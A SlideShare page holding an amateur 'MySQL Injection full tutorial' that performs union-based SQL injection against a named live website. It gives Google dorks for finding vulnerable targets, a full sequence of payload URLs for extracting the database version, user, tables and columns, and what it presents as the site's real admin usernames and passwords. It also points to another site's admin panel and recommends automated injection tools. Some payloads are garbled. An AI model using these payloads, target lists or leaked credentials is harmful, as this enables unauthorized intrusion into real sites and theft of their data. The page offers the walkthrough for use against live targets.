SlideShare a Scribd company logo
1 of 7
MySQL Injection[FULL TUTORIAL]

Structure:
1.Intro#
2.What is SQL
3.MySQL
4.How to find vulnerability
5.Exploiting Mysql vulnerability
6.Getting Mysql Version
7.Getting Mysql User
8.Getting Mysql Databases
9.Getting Mysql Tables
10.Getting Mysql Columns
11.Getting Information From Columns
12.Finding Admin Panel
13.Tools
14.Greetz
15.End#
1. Intro#Hello my name is AlphaSky today am going to explain MySQL Injection on
Live Example.What that means?-Well it means that i'll exploit an real site.This
tutorial is for anykind level reader,student,newbie even noob.I just wonna to show
you how easy is this prefor of Attack.So enough talking we have a lot of things to
cover here.
2. What is SQL?

SQL injection is probably the most abundant programming flaw that exists on the
internet at present. It is the vulnerability through which unauthorized person can
access the various critical and private dat. SQL injection is not a flaw in the web or
db server but but is a result of the poor and inexperienced programming practices.
And it is one of the deadliest as well as easiest attack to execute from remote
location.In SQL injection, we interact with DB server with the various commands
and get various data from it. In this tutorial, I would be discussing 3 aspects of
SQL injection namely bypassing logins, accessing the secret data and modifying
the page contents.
3. MySQL

MySQL is a relational database management system (RDBMS) that runs as a server
providing multi-user access to a number of databases. It is named after developer
Michael Widenius daughter, My. The SQL phrase stands for Structured Query
Language.=So the basic what you need to know about SQL and MySQL are done
now the real part begins
4. How to find vulnerability
There many many ways to find vulnerability.Most familiar ways are using the
Google
Dorks:inurl:index.php?id=inurl:article.php?id=allinurl:news.php?id=inurl:shop.ph
p?cat=Hackers always say "Google is my Best Friend" now you know way without
of google we couldn't do our job so easy.So at the end of this tutorial i'll post a
dork list so am going to save you from searching the internet.
5. Exploiting Mysql vulnerability
So lets start with exploiting our target.For this tutorial i decided to chose
European Table Tennis Union
Code:
http://www.ettu.org

I have used a dork inurl:news_view.php?id= and i got this link of the site
Code:
http://www.ettu.org/news_view.php?id=2583

So how can we test it is it vuln. on MySQL Injection? - Its simple with adding ' or
% at the and or before the id.Now our vuln. link should look like this
Code:
http://www.ettu.org/news_view.php?id=2583'

Did you notice something was changed?-Yes the content that was previos on the
site was not showed.So this is a sing that this site may be vuln. on MySQL
Injection sometimes will print you a message that says
Code:
Warning:
mysql_fetch_assoc(),Warning:
mysql_fetch_array(),mysql_num_rows(),mysql
error,mysql_query,mysql_fetch,mysql_connect

In this case doesn't show so we also may be facing with MySQL NoError
Injection.How can we know for sure is it vuln.?-We are going to start
typeingORDER BY 1 After the ID number
Code:
http://www.ettu.org/news_view.php?id=2583+ORDER+BY+1
So our content is shown agaen.And now we are sure we're facing a site that is
vuln. on MySQLInjection.We continue to incrise the Order Number so we find out
how many columns are there until we get an blan page agaen.
Code:
http://www.ettu.org/news_view.php?id=2583+ORDER+BY+2 <== No blank Page

Code:
http://www.ettu.org/news_view.php?id=2583+ORDER+BY+3 <== No blank Page

Code:
http://www.ettu.org/news_view.php?id=2583+ORDER+BY+4 <== No blank Page

Code:
http://www.ettu.org/news_view.php?id=2583+ORDER+BY+10 <== No blank Page

Code:
http://www.ettu.org/news_view.php?id=2583+ORDER+BY+15 <== No blank Page

Code:
http://www.ettu.org/news_view.php?id=2583+ORDER+BY+16 <== No blank Page

Code:
http://www.ettu.org/news_view.php?id=2583+ORDER+BY+17 <== Blank Page

wOOt!! We now know that there are 16 vuln. columns!!Now we are going to select
them all with this comand UNION SELECT or UNION ALL SELECT
Code:
http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,1
4,15,16--

Dont forget to put "--" at the end or it will return an blank page.So the content
loads agaen and lets see witch of these vuln. columns we can use.To do that we
add a '-' before the ID Number
Code:
http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

So this is very important if you dont do this you cannot continue to do the next
several steps and now it prints us a vuln. columns number 2 and number 4.So this
means that columns with number 2 and 4 are vulnruble and we can use them.To
get Mysql version,User,Databases.
6. Getting Mysql Version

To get MySQL version we use version() or @@version commands to dispaly version
of MySQL Database.So we change 2 into @@version and
Code:
http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,@@version,3,4,5,6,7,8,9,10,11
,12,13,14,15,16--

there is it MySQL Version displayed at the page.
Code:
5.1.37-1ubuntu5.5

So when MySQL Version is 5> we can use information_schema to get data faster
but if version is >5 that means that we need to guess the tables and columns.So
we need to be very lucky to guess the tabale and column.
7. Getting Mysql User

Getting the user is with the user() command
Code:
http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16--

Displayed
Code:
ettu_admin@localhost

8. Getting Mysql Databases

So now we need to get the databases with the followed command database()
Code:
http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16--

Displayed
Code:
ettu.org_ettu_db01

Sometimes there are more databases so it good to know how many databases
there are and why are they for. Because maybe the data we are looking is in the
other database.
9. Getting Mysql Tables

And here we are at the main think.How to find out the table names.We are going
to do this with adding this command
Code:
group_concat(table_name)

at the place of the vun. column and in our case is 2 and with adding at the end of
the number of columns the following command
Code:
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()

What does this mean?-This means to select Table Names from
information_schema where table schema is from the Database. and when we
replace everything we get this link and this tables:
Code:
http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16+
ROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()-F

We got a lots of tables but we dont need them all so am going to press Ctrl+F
[Find specific word] and type user,users,admin,members and it turns out that
there is a table with the name
Code:
0910ettucup01_admin

Now we know that there is table with name admin and there must be some
username and passwords but to that we need to find the columns in that table!
10.Getting Mysql Columns

We found out that theres a table admin and now we need to find the columns we
need to change table_name to column_name and
Code:
FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()-to

INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_SCHEMA=DATABASE()-FROM
+

Now when we change all that we get
Code:
http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16+
ROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_SCHEMA=DATABASE()-F

with executing this we get a lot i mean really a lot of columns name that
we don't need and it may take a while till we find our most needed columns so we
are going to pull out only the columns from our table that we found earlier and
that is from ettu.org_ettu_db01 to do this we need to you MySQL Char How to find
it?-Well you can always use Google or you can install on your Mozilla an addon
with name HackBar there is a MySQL char converter so now am going to convert
our table into a MySQL Char
Code:
CHAR(48, 57, 49, 48, 101, 116, 116, 117, 99, 117, 112, 48, 49, 95, 97, 100, 109, 105,
110)

Now where to put this?-We are going to change our link into:
Code:
http://www.ettu.org/news_view.php?id=2583+union+select+1,group_concat%28column_name%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+
from+information_schema.columns+where+table_name=CHAR%2848,%2057,%2049,%2048,%20101,%2
0116,%20116,

%20117,%2099,%20117,%20112,%2048,%2049,%2095,%2097,%20100,%20109,%20105,%20110%29--

Now are displayed the columns that are in Table 'ADMIN'
Code:
id,login,password,stato,id_squ,girone,abilitato

Our work is almost done.Just to dump usernames and passwords.
11.Getting Information From Columns

To do this we are going to use a command that we are using it all the way till
here.And that is group_concat().All we now need to do is to change column_name
into our ectual column names and that are "login,password,id,stato ect" So lets
see how ill it looks
Code:
http://www.ettu.org/news_view.php?id=2583+union+select+1,group_concat(id,0x3a,login,0x3a,password),3,4,5,6,7,8,9,10,11,12,1
3,14,15,16+
rom+0910ettucup01_admin-f

Damn the user-names and passwords are displayed at the site.So let explain here
what we have done.We have changed information_schema.columns into the table
name 'cuz we dont need not to read the columns 'cuz we already put them into the
group_concat() you see id login password those are columns now from where to
be selected from the table name 0910ettucup01_admin and now we have our log
in details:
Code:
1:adminvitesse:vitesse2006
:admin:matchvitesse
2

All it left now is to find the Admin Panel....
12.Finding Admin Panel
Unfortunately our live example site doesn't have an admin panel so for this to
show you i'll took another site.So when you got the admin details we need to login
somewhere that somewhere is called Admin Panel or Control Panel or WebPanel
its same or you can say it Login Page.To find an log in page you can use many
tools ill tell you some in the next part.An example of an login page
Code:
http://www.discountexpress.co.uk/admin/

There you can enter the login info and get into the site and change alot
13.Tools

So tools,there aren't so much tools to use when your doing this but there are a
few that will help you a lot.

13.1.Admin Finder

Admin finder is a tool that helps you to find the admin page or Log In Page very
quick for this you can use many online or you can use some web scanner to find
it.Here are 1 Good program and one good Online Scanner Online Admin Page
ScannerAnd for download Acunetix Web Vulnerability Scanner=>This scanner
could be used for more things but now we are not going to talk about them

13.2 Hacking Tools that are making you're work easier

Well we all know that some of you have started with tools ex.Havij or MySQL
Helper.Yes they are good in hand expecialy when we are hacking into a MySQL
Server >5 that are guessing the table and column names so that is realy good also
Havij is a great program that have Admin Finder too and MD5 Section where you
can easly search about 10-12 MD5 Decripting sites so yes its realy good program
but dont use it for hacking all the way into the server 'cuz it leaves a lotz of logs
and you my be finish in jail
14.Greetz
Greetz To All Friends,All Hackers in the world,EveryPPL who are trying to learn
this!
15.End#
So this is the end of my tutorial.Feel free to comment,share it where ever you
wont and dont for get to Credit My Name.Am planing to continue to write tutorials
not for MySQL for a lot other things but we'll see how will the time effect us
-----MOZAAI MADHU HACKER

More Related Content

What's hot

Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Nuno Loureiro
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)SqliChema Alonso
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoPichaya Morimoto
 
Web application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresWeb application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresCade Zvavanjanja
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injectionamiable_indian
 
03. sql and other injection module v17
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17Eoin Keary
 
SQL Injection Attacks cs586
SQL Injection Attacks cs586SQL Injection Attacks cs586
SQL Injection Attacks cs586Stacy Watts
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injectionashish20012
 
Advanced SQL injection to operating system full control (whitepaper)
Advanced SQL injection to operating system full control (whitepaper)Advanced SQL injection to operating system full control (whitepaper)
Advanced SQL injection to operating system full control (whitepaper)Bernardo Damele A. G.
 
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMMikhail Egorov
 
ShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlChema Alonso
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity FrameworksRich Helton
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationRapid Purple
 
Defcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injectionDefcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injectionAhmed AbdelSatar
 
A Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLA Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLkobaitari
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSSMike Crabb
 

What's hot (20)

Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)Sqli
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
Sql injection
Sql injectionSql injection
Sql injection
 
Web application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresWeb application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasures
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injection
 
03. sql and other injection module v17
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17
 
SQL Injection Attacks cs586
SQL Injection Attacks cs586SQL Injection Attacks cs586
SQL Injection Attacks cs586
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injection
 
ORM Injection
ORM InjectionORM Injection
ORM Injection
 
Advanced SQL injection to operating system full control (whitepaper)
Advanced SQL injection to operating system full control (whitepaper)Advanced SQL injection to operating system full control (whitepaper)
Advanced SQL injection to operating system full control (whitepaper)
 
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORM
 
ShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)SqlShmooCon 2009 - (Re)Playing(Blind)Sql
ShmooCon 2009 - (Re)Playing(Blind)Sql
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity Frameworks
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint Presentation
 
Defcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injectionDefcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injection
 
A Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQLA Brief Introduction About Sql Injection in PHP and MYSQL
A Brief Introduction About Sql Injection in PHP and MYSQL
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSS
 

Viewers also liked

тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложенийZestranec
 
File inclusion attack(nop thay)
File inclusion attack(nop thay)File inclusion attack(nop thay)
File inclusion attack(nop thay)phanleson
 
Complete Guide to Seo Footprints
Complete Guide to Seo FootprintsComplete Guide to Seo Footprints
Complete Guide to Seo FootprintsPritesh Das
 

Viewers also liked (7)

Resume Joe Johnston
Resume Joe JohnstonResume Joe Johnston
Resume Joe Johnston
 
Malto Schools
Malto SchoolsMalto Schools
Malto Schools
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
 
File inclusion attack(nop thay)
File inclusion attack(nop thay)File inclusion attack(nop thay)
File inclusion attack(nop thay)
 
Google Dorks and SQL Injection
Google Dorks and SQL InjectionGoogle Dorks and SQL Injection
Google Dorks and SQL Injection
 
Footprints
FootprintsFootprints
Footprints
 
Complete Guide to Seo Footprints
Complete Guide to Seo FootprintsComplete Guide to Seo Footprints
Complete Guide to Seo Footprints
 

Similar to Sql full tutorial

Sql Injections With Real Life Scenarious
Sql Injections With Real Life ScenariousSql Injections With Real Life Scenarious
Sql Injections With Real Life ScenariousFrancis Alexander
 
Power of linked list
Power of linked listPower of linked list
Power of linked listPeter Hlavaty
 
User Login in PHP with Session & MySQL.pdf
User Login in PHP with Session & MySQL.pdfUser Login in PHP with Session & MySQL.pdf
User Login in PHP with Session & MySQL.pdfBe Problem Solver
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeWim Godden
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeWim Godden
 
Rooted 2010 ppp
Rooted 2010 pppRooted 2010 ppp
Rooted 2010 pppnoc_313
 
Making Steaks from Sacred Cows
Making Steaks from Sacred CowsMaking Steaks from Sacred Cows
Making Steaks from Sacred CowsKevlin Henney
 
Mule soft meetup_virtual_ charlotte_2020_final1
Mule soft meetup_virtual_ charlotte_2020_final1Mule soft meetup_virtual_ charlotte_2020_final1
Mule soft meetup_virtual_ charlotte_2020_final1Subhash Patel
 
String.fromCharCode(60)script>alert("XSS")String.fromCharCode(60)/script>
String.fromCharCode(60)script>alert("XSS")String.fromCharCode(60)/script>String.fromCharCode(60)script>alert("XSS")String.fromCharCode(60)/script>
String.fromCharCode(60)script>alert("XSS")String.fromCharCode(60)/script>Muhammad Sohail
 
32373 uploading-php-shell-through-sql-injection
32373 uploading-php-shell-through-sql-injection32373 uploading-php-shell-through-sql-injection
32373 uploading-php-shell-through-sql-injectionAttaporn Ninsuwan
 
Application Security from the Inside - OWASP
Application Security from the Inside - OWASPApplication Security from the Inside - OWASP
Application Security from the Inside - OWASPSqreen
 
Sql interview question part 8
Sql interview question part 8Sql interview question part 8
Sql interview question part 8kaashiv1
 
How not to suck at Cyber Security
How not to suck at Cyber SecurityHow not to suck at Cyber Security
How not to suck at Cyber SecurityChris Watts
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeWim Godden
 
MySQL User Group NL - MySQL 8
MySQL User Group NL - MySQL 8MySQL User Group NL - MySQL 8
MySQL User Group NL - MySQL 8Frederic Descamps
 
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazyMichael Boman
 

Similar to Sql full tutorial (20)

Sql Injections With Real Life Scenarious
Sql Injections With Real Life ScenariousSql Injections With Real Life Scenarious
Sql Injections With Real Life Scenarious
 
Power of linked list
Power of linked listPower of linked list
Power of linked list
 
User Login in PHP with Session & MySQL.pdf
User Login in PHP with Session & MySQL.pdfUser Login in PHP with Session & MySQL.pdf
User Login in PHP with Session & MySQL.pdf
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the code
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the code
 
Rooted 2010 ppp
Rooted 2010 pppRooted 2010 ppp
Rooted 2010 ppp
 
Making Steaks from Sacred Cows
Making Steaks from Sacred CowsMaking Steaks from Sacred Cows
Making Steaks from Sacred Cows
 
Php
PhpPhp
Php
 
Mule soft meetup_virtual_ charlotte_2020_final1
Mule soft meetup_virtual_ charlotte_2020_final1Mule soft meetup_virtual_ charlotte_2020_final1
Mule soft meetup_virtual_ charlotte_2020_final1
 
String.fromCharCode(60)script>alert("XSS")String.fromCharCode(60)/script>
String.fromCharCode(60)script>alert("XSS")String.fromCharCode(60)/script>String.fromCharCode(60)script>alert("XSS")String.fromCharCode(60)/script>
String.fromCharCode(60)script>alert("XSS")String.fromCharCode(60)/script>
 
32373 uploading-php-shell-through-sql-injection
32373 uploading-php-shell-through-sql-injection32373 uploading-php-shell-through-sql-injection
32373 uploading-php-shell-through-sql-injection
 
Sq li
Sq liSq li
Sq li
 
Application Security from the Inside - OWASP
Application Security from the Inside - OWASPApplication Security from the Inside - OWASP
Application Security from the Inside - OWASP
 
Sql interview question part 8
Sql interview question part 8Sql interview question part 8
Sql interview question part 8
 
Ebook8
Ebook8Ebook8
Ebook8
 
How not to suck at Cyber Security
How not to suck at Cyber SecurityHow not to suck at Cyber Security
How not to suck at Cyber Security
 
Beyond php - it's not (just) about the code
Beyond php - it's not (just) about the codeBeyond php - it's not (just) about the code
Beyond php - it's not (just) about the code
 
MySQL User Group NL - MySQL 8
MySQL User Group NL - MySQL 8MySQL User Group NL - MySQL 8
MySQL User Group NL - MySQL 8
 
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazy
 

Recently uploaded

Barangay Council for the Protection of Children (BCPC) Orientation.pptx
Barangay Council for the Protection of Children (BCPC) Orientation.pptxBarangay Council for the Protection of Children (BCPC) Orientation.pptx
Barangay Council for the Protection of Children (BCPC) Orientation.pptxCarlos105
 
Roles & Responsibilities in Pharmacovigilance
Roles & Responsibilities in PharmacovigilanceRoles & Responsibilities in Pharmacovigilance
Roles & Responsibilities in PharmacovigilanceSamikshaHamane
 
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdf
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdfInclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdf
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdfTechSoup
 
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...Nguyen Thanh Tu Collection
 
Difference Between Search & Browse Methods in Odoo 17
Difference Between Search & Browse Methods in Odoo 17Difference Between Search & Browse Methods in Odoo 17
Difference Between Search & Browse Methods in Odoo 17Celine George
 
Earth Day Presentation wow hello nice great
Earth Day Presentation wow hello nice greatEarth Day Presentation wow hello nice great
Earth Day Presentation wow hello nice greatYousafMalik24
 
Full Stack Web Development Course for Beginners
Full Stack Web Development Course  for BeginnersFull Stack Web Development Course  for Beginners
Full Stack Web Development Course for BeginnersSabitha Banu
 
Q4 English4 Week3 PPT Melcnmg-based.pptx
Q4 English4 Week3 PPT Melcnmg-based.pptxQ4 English4 Week3 PPT Melcnmg-based.pptx
Q4 English4 Week3 PPT Melcnmg-based.pptxnelietumpap1
 
What is Model Inheritance in Odoo 17 ERP
What is Model Inheritance in Odoo 17 ERPWhat is Model Inheritance in Odoo 17 ERP
What is Model Inheritance in Odoo 17 ERPCeline George
 
Judging the Relevance and worth of ideas part 2.pptx
Judging the Relevance  and worth of ideas part 2.pptxJudging the Relevance  and worth of ideas part 2.pptx
Judging the Relevance and worth of ideas part 2.pptxSherlyMaeNeri
 
Science 7 Quarter 4 Module 2: Natural Resources.pptx
Science 7 Quarter 4 Module 2: Natural Resources.pptxScience 7 Quarter 4 Module 2: Natural Resources.pptx
Science 7 Quarter 4 Module 2: Natural Resources.pptxMaryGraceBautista27
 
4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptxmary850239
 
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...Postal Advocate Inc.
 
ACC 2024 Chronicles. Cardiology. Exam.pdf
ACC 2024 Chronicles. Cardiology. Exam.pdfACC 2024 Chronicles. Cardiology. Exam.pdf
ACC 2024 Chronicles. Cardiology. Exam.pdfSpandanaRallapalli
 
Field Attribute Index Feature in Odoo 17
Field Attribute Index Feature in Odoo 17Field Attribute Index Feature in Odoo 17
Field Attribute Index Feature in Odoo 17Celine George
 
Grade 9 Q4-MELC1-Active and Passive Voice.pptx
Grade 9 Q4-MELC1-Active and Passive Voice.pptxGrade 9 Q4-MELC1-Active and Passive Voice.pptx
Grade 9 Q4-MELC1-Active and Passive Voice.pptxChelloAnnAsuncion2
 

Recently uploaded (20)

Barangay Council for the Protection of Children (BCPC) Orientation.pptx
Barangay Council for the Protection of Children (BCPC) Orientation.pptxBarangay Council for the Protection of Children (BCPC) Orientation.pptx
Barangay Council for the Protection of Children (BCPC) Orientation.pptx
 
Roles & Responsibilities in Pharmacovigilance
Roles & Responsibilities in PharmacovigilanceRoles & Responsibilities in Pharmacovigilance
Roles & Responsibilities in Pharmacovigilance
 
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdf
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdfInclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdf
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdf
 
FINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptx
FINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptxFINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptx
FINALS_OF_LEFT_ON_C'N_EL_DORADO_2024.pptx
 
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...
HỌC TỐT TIẾNG ANH 11 THEO CHƯƠNG TRÌNH GLOBAL SUCCESS ĐÁP ÁN CHI TIẾT - CẢ NĂ...
 
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptxLEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
 
Difference Between Search & Browse Methods in Odoo 17
Difference Between Search & Browse Methods in Odoo 17Difference Between Search & Browse Methods in Odoo 17
Difference Between Search & Browse Methods in Odoo 17
 
Earth Day Presentation wow hello nice great
Earth Day Presentation wow hello nice greatEarth Day Presentation wow hello nice great
Earth Day Presentation wow hello nice great
 
Full Stack Web Development Course for Beginners
Full Stack Web Development Course  for BeginnersFull Stack Web Development Course  for Beginners
Full Stack Web Development Course for Beginners
 
Q4 English4 Week3 PPT Melcnmg-based.pptx
Q4 English4 Week3 PPT Melcnmg-based.pptxQ4 English4 Week3 PPT Melcnmg-based.pptx
Q4 English4 Week3 PPT Melcnmg-based.pptx
 
What is Model Inheritance in Odoo 17 ERP
What is Model Inheritance in Odoo 17 ERPWhat is Model Inheritance in Odoo 17 ERP
What is Model Inheritance in Odoo 17 ERP
 
Raw materials used in Herbal Cosmetics.pptx
Raw materials used in Herbal Cosmetics.pptxRaw materials used in Herbal Cosmetics.pptx
Raw materials used in Herbal Cosmetics.pptx
 
Judging the Relevance and worth of ideas part 2.pptx
Judging the Relevance  and worth of ideas part 2.pptxJudging the Relevance  and worth of ideas part 2.pptx
Judging the Relevance and worth of ideas part 2.pptx
 
Science 7 Quarter 4 Module 2: Natural Resources.pptx
Science 7 Quarter 4 Module 2: Natural Resources.pptxScience 7 Quarter 4 Module 2: Natural Resources.pptx
Science 7 Quarter 4 Module 2: Natural Resources.pptx
 
4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx
 
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
 
ACC 2024 Chronicles. Cardiology. Exam.pdf
ACC 2024 Chronicles. Cardiology. Exam.pdfACC 2024 Chronicles. Cardiology. Exam.pdf
ACC 2024 Chronicles. Cardiology. Exam.pdf
 
Field Attribute Index Feature in Odoo 17
Field Attribute Index Feature in Odoo 17Field Attribute Index Feature in Odoo 17
Field Attribute Index Feature in Odoo 17
 
OS-operating systems- ch04 (Threads) ...
OS-operating systems- ch04 (Threads) ...OS-operating systems- ch04 (Threads) ...
OS-operating systems- ch04 (Threads) ...
 
Grade 9 Q4-MELC1-Active and Passive Voice.pptx
Grade 9 Q4-MELC1-Active and Passive Voice.pptxGrade 9 Q4-MELC1-Active and Passive Voice.pptx
Grade 9 Q4-MELC1-Active and Passive Voice.pptx
 

Sql full tutorial

